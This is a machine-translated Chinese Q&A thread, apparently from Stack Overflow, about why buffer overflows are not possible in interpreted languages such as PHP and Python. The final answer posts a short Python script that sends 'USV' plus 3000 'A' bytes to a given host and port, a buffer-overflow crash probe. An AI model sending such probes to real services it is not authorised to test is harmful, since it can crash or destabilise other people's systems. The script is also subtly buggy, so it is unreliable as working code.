2010-01-17 20 views

回答

2

由于PHP是一种脚本语言,没有指针和字符串类型是二进制安全这样的事情不会在PHP工作。

但你为什么要这么做?

(哦,有可能是在PHP中的错误导致缓冲区溢出,但是这没有什么热点可以用任何方式依赖,通常是固定的相当FFAST ...)

1

做在PHP中类似的东西不会导致相同的行为。

对PHP进行解释并始终检查您正在执行或未执行的操作是否有效。因此,您不能 - 例如 - 溢出缓冲区。

1

因为php,python和每一种解释型语言都必须先通过解释器,而且你没有完全访问内存,这种语言不会让你去做一些像你发布的代码一样的游戏。

8

事实上,Python和PHP被其他人所建议的解释实际上并不是重点。重点是几乎所有的API和语言语义都暴露在错误检查之中,使得不可能有可利用的未定义行为。即使你编译的语言,它仍然是不可能的。这并不意味着你不能暴露可以做任何事情的不安全的API。实际上,使用Pythons的ctypes模块,应该可以创建类似的行为,但是意外事件难以做到。

2

很抱歉,您已经达到了Python的弱点。不幸的是,这是设计的,所以很少能做到。也许你应该留在C.

正如马丁五世Löwissaid

Python不支持缓冲区溢出,对不起。

PS哇。看起来好像几个月前,我读了那篇文章,但它已经是7年零一天了。

0
import sys 
import socket 

for carg in sys.argv: 

    if carg == "-S": 

     argnum= sys.argv.index(carg) 

     argnum +=1 

     host = sys.argv[argnum] 

    elif carg == "-p": 

     argnum = sys.argv.index(carg) 

     argnum +=1 

     port = sys.argv[argnum] 

buffer = "\x41"* 3000 

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

s.connect((host,port)) 

s.send("USV" + buffer) 

s.close()